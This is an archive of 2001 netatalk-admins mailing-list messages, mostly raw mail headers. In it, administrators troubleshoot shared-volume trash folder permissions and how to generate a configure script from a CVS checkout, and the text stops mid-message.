	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18564
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 12:16:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA00120
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 12:16:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA00109
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 12:16:12 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA00081
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 12:16:11 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Wed, 25 Apr 2001 09:16:21 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 25 Apr 2001 09:16:22 -0700
Subject: Re: one apple volume and different users
From: charlie wood <charlie@id-inc.com>
To: Mac Conin <mconin@euc.de>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B70C4666.2C21%charlie@id-inc.com>
In-Reply-To: <3AE6F259.7B26867D@euc.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I had a similar problem.
Fixed it thusly:
chmod 2775 /home/Projects/Network Trash Folder

where /home/Projects/ is the path to the server volume.

eh?

</charlie>

_____________________________
Charlie Wood
ID, Incorporated
1620 SW Taylor St Suite 100
Portland, OR 97205
{v} 503-223-7737   {f} 503-223-2719
{e} charlie@id-inc.com   {w} http://www.id-inc.com


-------original message-------

> From: Mac Conin <mconin@euc.de>
> Organization: EUC Online Service GmbH
> Date: Wed, 25 Apr 2001 17:50:50 +0200
> To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
> Subject: one apple volume and different users
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 25 Apr 2001 12:00:56 -0400 (EDT)
> 
> Hmm,
> 
> 
> Does that work?
> 
> one apple volume and several users accessing this volume.
> how do I get differnt trashs for each user for that volume?
> 
> at the moment only the first user who put something into the
> trash is capable of using the trash. each following action
> from other users causing the error (something like that):
> 'you can't put files into the trash. You can delete the files directlly'
> 
> this drives me nuts
> 
> best regards
> -----------------------------------------------------------
> Mac Conin                        EUC Online Service GmbH
> mconin@euc.de                    D 50676 Koeln
> http://www.euc.de
> tel : +49-221-923 27 33          fax : +49-221-239 651
> -----------------------------------------------------------
> 


From netatalk.administrators-errors@umich.edu  Wed Apr 25 13:00:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19988
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 13:00:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 13:00:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28164
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 13:00:12 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA28122
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 13:00:11 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA06117;
	Wed, 25 Apr 2001 18:55:17 +0200
Message-ID: <3AE70177.3117DA50@euc.de>
Date: Wed, 25 Apr 2001 18:55:19 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: charlie wood <charlie@id-inc.com>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: one apple volume and different users
References: <B70C4666.2C21%charlie@id-inc.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA19988

nope

afpd creates a directory Trash Can #2 and only this.
It doesn' matter how I set the rights (I guess).

shouldn't be there other directories ą la Trash Can #5 or whatever?

If it's a permission problem who sould be the owner of the Network Trash Folder?


charlie wood wrote:
> 
> I had a similar problem.
> Fixed it thusly:
> chmod 2775 /home/Projects/Network Trash Folder
> 
> where /home/Projects/ is the path to the server volume.
> 
> eh?
> 
> </charlie>
> 
> _____________________________
> Charlie Wood
> ID, Incorporated
> 1620 SW Taylor St Suite 100
> Portland, OR 97205
> {v} 503-223-7737   {f} 503-223-2719
> {e} charlie@id-inc.com   {w} http://www.id-inc.com
> 
> -------original message-------
> 
> > From: Mac Conin <mconin@euc.de>
> > Organization: EUC Online Service GmbH
> > Date: Wed, 25 Apr 2001 17:50:50 +0200
> > To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
> > Subject: one apple volume and different users
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Wed, 25 Apr 2001 12:00:56 -0400 (EDT)
> >
> > Hmm,
> >
> >
> > Does that work?
> >
> > one apple volume and several users accessing this volume.
> > how do I get differnt trashs for each user for that volume?
> >
> > at the moment only the first user who put something into the
> > trash is capable of using the trash. each following action
> > from other users causing the error (something like that):
> > 'you can't put files into the trash. You can delete the files directlly'
> >
> > this drives me nuts

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Wed Apr 25 14:09:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22465
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 14:09:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 14:09:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27431
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 14:09:27 -0400 (EDT)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA27361
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 14:09:25 -0400 (EDT)
Received: (qmail 9093 invoked by uid 500); 25 Apr 2001 18:09:15 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15079.4811.728409.337032@h0050da615e79.ne.mediaone.net>
Date: Wed, 25 Apr 2001 14:09:15 -0400
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Jason Quigley <jasonq@mac.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Bug in build 1.5pre6 on 4.2 BSDI
In-Reply-To: <200104251033.f3PAXCZ51171@vulcan.borgspace.alpha>
References: <01042505500900.26852@athlet>
	<200104251033.f3PAXCZ51171@vulcan.borgspace.alpha>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Jason Quigley <jasonq@mac.com>
   Date: Wed, 25 Apr 2001 12:37:34 +0200

   Hi!

   You *definitely* need to use gmake on FreeBSD 4.2.

   I have:

   libtool-1.3.4_2     Generic shared library support script
   gcc-2.8.1           Latest and greatest version of the GNU compiler suite
   autoconf-2.13       Automatically configure source code on many Un*x 
   platforms
   automake-1.4        GNU Standards-compliant Makefile generator
   gmake-3.79.1        GNU version of 'make' utility

   and any dependencies as my build environment. These are all in 
   /usr/ports.

   Cheers,
   Jason.

I seem to recall that the only absolute requirement to install netatalk
is GNU make (and maybe gcc).  The others (plus m4) should only be needed
for development.  True?

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Wed Apr 25 14:51:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA24800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 14:51:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05291
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 14:51:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05269
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 14:51:08 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA05230
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 14:51:07 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 25 Apr 2001 13:51:06 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 25 Apr 2001 13:51:06 -0500
Date: Wed, 25 Apr 2001 13:51:06 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: newbie CVS question
Message-Id: <Pine.SOL.4.20.0104251337450.1679-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I've CVS'ed the current tree (the changelog includes the .AppleDouble and
tcp_wrappers changes), but my local cvs tree doesn't contain the configure
executable. Did I mess up my CVS configuration, or am I missing something
pretty basic, here? This time I just used $ cvs update, so perhaps my
initial checkout of the tree was done incorrectly? 

$ cvs login 
(Logging in to anonymous@cvs.netatalk.sourceforge.net)
CVS Password: <enter>
$ cvs update
or
$ cvs get netatalk

don't do it either.

I don't see the config file on the sourceforge "browse cvs tree" page
either.

This will be my first real (as opposed to playing) usage of cvs, so if I'm
missing something really basic, I apologize.

I keep the tarball version of 1.5pre6 in a different location, so I can
swap between them.

Sincerely,

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |     Old geeks never die,                    
University of Mn            |         They just revert
Minneapolis, MN 55455       |            to cleartext.
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Wed Apr 25 15:04:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25395
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 15:04:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA15959
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 15:04:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA15940
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 15:04:16 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA15910
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 15:04:15 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f3PJ4Dn10595;
	Wed, 25 Apr 2001 15:04:13 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AE71F9F.C7BE2AA5@univrel.pr.uconn.edu>
Date: Wed, 25 Apr 2001 15:03:59 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Karen A Swanberg <swanberg@tc.umn.edu>
CC: netatalk-admins@umich.edu
Subject: Re: newbie CVS question
References: <Pine.SOL.4.20.0104251337450.1679-100000@garnet.tc.umn.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Karen A Swanberg wrote:
> 
> I've CVS'ed the current tree (the changelog includes the .AppleDouble and
> tcp_wrappers changes), but my local cvs tree doesn't contain the configure
> executable. Did I mess up my CVS configuration, or am I missing something
> pretty basic, here? This time I just used $ cvs update, so perhaps my
> initial checkout of the tree was done incorrectly?
> 
> $ cvs login
> (Logging in to anonymous@cvs.netatalk.sourceforge.net)
> CVS Password: <enter>
> $ cvs update
> or
> $ cvs get netatalk
> 
> don't do it either.
> 
> I don't see the config file on the sourceforge "browse cvs tree" page
> either.
> 
> This will be my first real (as opposed to playing) usage of cvs, so if I'm
> missing something really basic, I apologize.
> 
> I keep the tarball version of 1.5pre6 in a different location, so I can
> swap between them.

Run the ./autogen.sh script to generate ./configure.

jeff

From netatalk.administrators-errors@umich.edu  Wed Apr 25 15:09:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25965
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 15:09:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07335
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 15:09:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07321
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 15:09:40 -0400 (EDT)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA07283
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 15:09:39 -0400 (EDT)
Received: (qmail 9149 invoked by uid 500); 25 Apr 2001 19:09:33 -0000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="pYjZ5ywy3E"
Content-Transfer-Encoding: 7bit
Message-ID: <15079.8429.327689.101282@h0050da615e79.ne.mediaone.net>
Date: Wed, 25 Apr 2001 15:09:33 -0400
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Karen A Swanberg <swanberg@tc.umn.edu>
Cc: netatalk-admins@umich.edu
Subject: newbie CVS question
In-Reply-To: <Pine.SOL.4.20.0104251337450.1679-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0104251337450.1679-100000@garnet.tc.umn.edu>
X-Mailer: VM 6.89 under Emacs 20.7.1


--pYjZ5ywy3E
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

   From: Karen A Swanberg <swanberg@tc.umn.edu>
   Date: Wed, 25 Apr 2001 13:51:06 -0500 (CDT)

   I've CVS'ed the current tree (the changelog includes the .AppleDouble and
   tcp_wrappers changes), but my local cvs tree doesn't contain the configure
   executable. Did I mess up my CVS configuration, or am I missing something
   pretty basic, here? This time I just used $ cvs update, so perhaps my
   initial checkout of the tree was done incorrectly? 

So *you* need the stuff mentioned by Jason Quigley (see attached).  Once
you have it all installed, do the following to build the ./configure
script:

    aclocal
    autoheader
    automake --add-missing
    autoconf

(And yes, this is basic, but I only just learned it myself.  ;-}
Corrections welcome, of course.)

					-- Bob Rogers



--pYjZ5ywy3E
Content-Type: message/rfc822
Content-Description: forwarded message
Content-Transfer-Encoding: 7bit

Return-Path: <netatalk-admins-request@umich.edu>
Delivered-To: rogers-netatalk@rgrjr.dyndns.org
Received: (qmail 9109 invoked from network); 25 Apr 2001 18:15:03 -0000
Received: from terminator.rsug.itd.umich.edu (141.213.231.10)
  by h0050da615e79.ne.mediaone.net with SMTP; 25 Apr 2001 18:15:03 -0000
Received: (from slist@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) id OAA22478; Wed, 25 Apr 2001 14:09:29 -0400 (EDT)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <15079.4811.728409.337032@h0050da615e79.ne.mediaone.net>
In-Reply-To: <200104251033.f3PAXCZ51171@vulcan.borgspace.alpha>
References: <01042505500900.26852@athlet>
	<200104251033.f3PAXCZ51171@vulcan.borgspace.alpha>
X-Mailer: VM 6.89 under Emacs 20.7.1
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/4460
X-Loop: netatalk-admins@umich.edu
Precedence: list
Resent-Date: Wed, 25 Apr 2001 14:09:29 -0400 (EDT)
Resent-Message-ID: <6c6PQC.A.JfF.ZLx56@terminator.rsug.itd.umich.edu>
Resent-From: netatalk-admins@umich.edu
Resent-Sender: netatalk-admins-request@umich.edu
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Jason Quigley <jasonq@mac.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Bug in build 1.5pre6 on 4.2 BSDI
Date: Wed, 25 Apr 2001 14:09:15 -0400

   From: Jason Quigley <jasonq@mac.com>
   Date: Wed, 25 Apr 2001 12:37:34 +0200

   Hi!

   You *definitely* need to use gmake on FreeBSD 4.2.

   I have:

   libtool-1.3.4_2     Generic shared library support script
   gcc-2.8.1           Latest and greatest version of the GNU compiler suite
   autoconf-2.13       Automatically configure source code on many Un*x 
   platforms
   automake-1.4        GNU Standards-compliant Makefile generator
   gmake-3.79.1        GNU version of 'make' utility

   and any dependencies as my build environment. These are all in 
   /usr/ports.

   Cheers,
   Jason.

I seem to recall that the only absolute requirement to install netatalk
is GNU make (and maybe gcc).  The others (plus m4) should only be needed
for development.  True?

					-- Bob Rogers


--pYjZ5ywy3E--

From netatalk.administrators-errors@umich.edu  Wed Apr 25 16:13:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA28129
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 16:13:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA26355
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 16:13:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA26329
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 16:13:32 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA26278
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 16:13:30 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id WAA07187;
	Wed, 25 Apr 2001 22:08:28 +0200
Message-ID: <3AE72EBF.92E8D882@euc.de>
Date: Wed, 25 Apr 2001 22:08:30 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: charlie wood <charlie@id-inc.com>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: one apple volume and different users
References: <B70C59E8.2C2B%charlie@id-inc.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA28129

ok

it looks now like
drwxrwsrwx   19 mconin   users        4096 Apr 25 20:51 .
drwxrwxrwx   21 mconin   users        4096 Apr 25 00:00 ..
drwxrwsr-x   23 other2   users        4096 Apr 21 16:13 .AppleDesktop
drwxrwsr-x    2 other    users        4096 Apr 25 20:51 .AppleDouble
drwxrwsr-x    4 mconin   users        4096 Mär  7 08:16 directory
drwxrwsr-x    4 mconin   users        4096 Apr 25 20:50 Network Trash Folder

and within the Trash folder
drwxrwsr-x    4 mconin   users        4096 Apr 25 20:50 .
drwxrwsrwx   19 mconin   users        4096 Apr 25 20:51 ..
drwxrwsr-x    2 mconin   users        4096 Apr 25 20:39 .AppleDouble
drwxrwsr-x    3 mconin   users        4096 Apr 25 20:51 Trash Can #2
-rw-rw-r--    1 other    users           0 Apr 25 20:39 Trash Can Usage Map

for my first testings it _seems_ that now different users can place
files into the trash.
but also it _seems_ that every user is capable of taking files out of
the bin (the trash).

I don't think this is really worth to mention while
the files are already shared - but anyway.. I can live with that.

If we wouldn't work with Xpress (and its mechanism of stamping im ages
as modified),
I would prefer to place a symbolic link in each users home directory
pointing to the share,
giv'em an own .AppleVolumes definition and everythings would be fine.

As a programmer it couldn't be much hassle to generate a 'Trash Can#user'
while the user enters the volume.



charlie wood wrote:
> 
> The Network Trash Folder (on my server) is created at the root level of the
> shared volume, and everyone has permissions to do what is needed to anything
> inside the shared volume directory.
> 
> More clearly:
> 
> My shared volume is:
> 
> /home/Projects/
> 
> here's an ls -la of that folder (for security, the actual project names have
> been renamed to "Project A):
> 
> drwxr-xr-x   19 root     users        4096 Apr 18 11:19 .
> drwxr-xr-x   12 root     root         4096 Apr  9 16:24 ..
> drwxrwsr-x   16 cameronm users        4096 Mar 29 16:14 Project A
> drwxrwsr-x    7 allisonb users        4096 Jan 25 11:11 Project A
> drwxrwsr-x    8 charlie  users        4096 Jan 11 11:01 Project A
> drwxrwsr-x   13 sharic   users        4096 Apr 23 11:43 Project A
> drwxrwsr-x    3 charlie  users        4096 Feb 13 14:38 Project A
> drwxrwsr-x   10 allisonb users        4096 Apr  9 09:16 Project A
> drwxrwsr-x    6 jen      users        4096 Apr 23 14:16 Project A
> drwxrwsr-x    5 allisonb users        4096 Apr 18 10:30 Project A
> drwxrwsr-x    9 allisonb users        4096 Apr 24 13:29 Project A
> drwxrwsr-x    3 allisonb users        4096 Mar 30 13:17 Project A
> drwxrwsr-x    3 allisonb users        4096 Mar 30 13:17 Project A
> drwxrwsr-x    5 allisonb users        4096 Apr 23 14:32 Project A
> drwxrwsr-x    3 allisonb users        4096 Apr 19 11:52 Project A
> drwxrwsr-x    6 allisonb users        4096 Apr 23 13:28 Network Trash Folder
> drwxrwsr-x    6 allisonb users        4096 Apr 10 22:50 Project A
> drwxrwsr-x    3 allisonb users        4096 Nov 14 16:43
> TheVolumeSettingsFolder
> drwxrwsr-x    4 allisonb users        4096 Apr 12 12:25 Project A
> 
> Notice the permissions settings for everything. The user bit is on, because
> the permissions for the parent directory (/home/Projects/) also has the same
> permission setting. Therefore everything inside it gets the same permissions
> as the parent, thereby eliminating the need to monkey with individual
> permissions all the time. As long as a user is in the group, they can do
> whatever they want in the folder. This includes the Trash Folder, and the
> Volume Settings folder. Both of the latter are important for individual Mac
> users, and the way that they can interact with the files.
> 
> I have not run across the multiple trash cans on my server so perhaps I'm
> not answering your specific question very well <shrug> :-)
> 
> What version of netatalk are you using? Perhaps what is being called Trash
> Can #2 is, in fact the same directory as Network Trash Folder. Try the
> permissions experiment I just mentioned as see if that works.
> 
> </charlie>
> 
> -------original message-------
> 
> > From: Mac Conin <mconin@euc.de>
> > Organization: EUC Online Service GmbH
> > Date: Wed, 25 Apr 2001 18:55:19 +0200
> > To: charlie wood <charlie@id-inc.com>
> > Cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
> > Subject: Re: one apple volume and different users
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Wed, 25 Apr 2001 13:01:56 -0400 (EDT)
> >
> > nope
> >
> > afpd creates a directory Trash Can #2 and only this.
> > It doesn' matter how I set the rights (I guess).
> >
> > shouldn't be there other directories ą la Trash Can #5 or whatever?
> >
> > If it's a permission problem who sould be the owner of the Network Trash
> > Folder?
> >
> >
> > charlie wood wrote:
> >>
> >> I had a similar problem.
> >> Fixed it thusly:
> >> chmod 2775 /home/Projects/Network Trash Folder
> >>
> >> where /home/Projects/ is the path to the server volume.
> >>
> >> eh?
> >>
> >> </charlie>
> >>
> >> _____________________________
> >> Charlie Wood
> >> ID, Incorporated
> >> 1620 SW Taylor St Suite 100
> >> Portland, OR 97205
> >> {v} 503-223-7737   {f} 503-223-2719
> >> {e} charlie@id-inc.com   {w} http://www.id-inc.com
> >>
> >> -------original message-------
> >>
> >>> From: Mac Conin <mconin@euc.de>
> >>> Organization: EUC Online Service GmbH
> >>> Date: Wed, 25 Apr 2001 17:50:50 +0200
> >>> To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
> >>> Subject: one apple volume and different users
> >>> Resent-From: netatalk-admins@umich.edu
> >>> Resent-Date: Wed, 25 Apr 2001 12:00:56 -0400 (EDT)
> >>>
> >>> Hmm,
> >>>
> >>>
> >>> Does that work?
> >>>
> >>> one apple volume and several users accessing this volume.
> >>> how do I get differnt trashs for each user for that volume?
> >>>
> >>> at the moment only the first user who put something into the
> >>> trash is capable of using the trash. each following action
> >>> from other users causing the error (something like that):
> >>> 'you can't put files into the trash. You can delete the files directlly'
> >>>
> >>> this drives me nuts
> >
> > --
> > --schnipp--
> >
> > mit freundlichen grüssen
> >
> > -----------------------------------------------------------
> > Mac Conin                        EUC Online Service GmbH
> > mconin@euc.de                    D 50676 Koeln
> > http://www.euc.de
> > tel : +49-221-923 27 33          fax : +49-221-239 651
> > -----------------------------------------------------------
> >

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Wed Apr 25 18:18:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA03274
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 18:18:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA27630
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 18:18:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA27610
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 18:18:39 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA27575
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 18:18:38 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 25 Apr 2001 17:18:37 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 25 Apr 2001 17:18:36 -0500
Date: Wed, 25 Apr 2001 17:18:36 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: newbie CVS question
In-Reply-To: <15079.8429.327689.101282@h0050da615e79.ne.mediaone.net>
Message-Id: <Pine.SOL.4.20.0104251712110.25500-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 04/25/01, Bob Rogers wisely declared:
> 
> So *you* need the stuff mentioned by Jason Quigley (see attached).  Once
> you have it all installed, do the following to build the ./configure
> script:
> 
>     aclocal
>     autoheader
>     automake --add-missing
>     autoconf
> 
> (And yes, this is basic, but I only just learned it myself.  ;-}
> Corrections welcome, of course.)

Thanks for the pointers. 

However, this isn't working with my config. Errors everywhere, due to
differing directory structures, I believe (I'm on OpenBSD 2.8).  I already
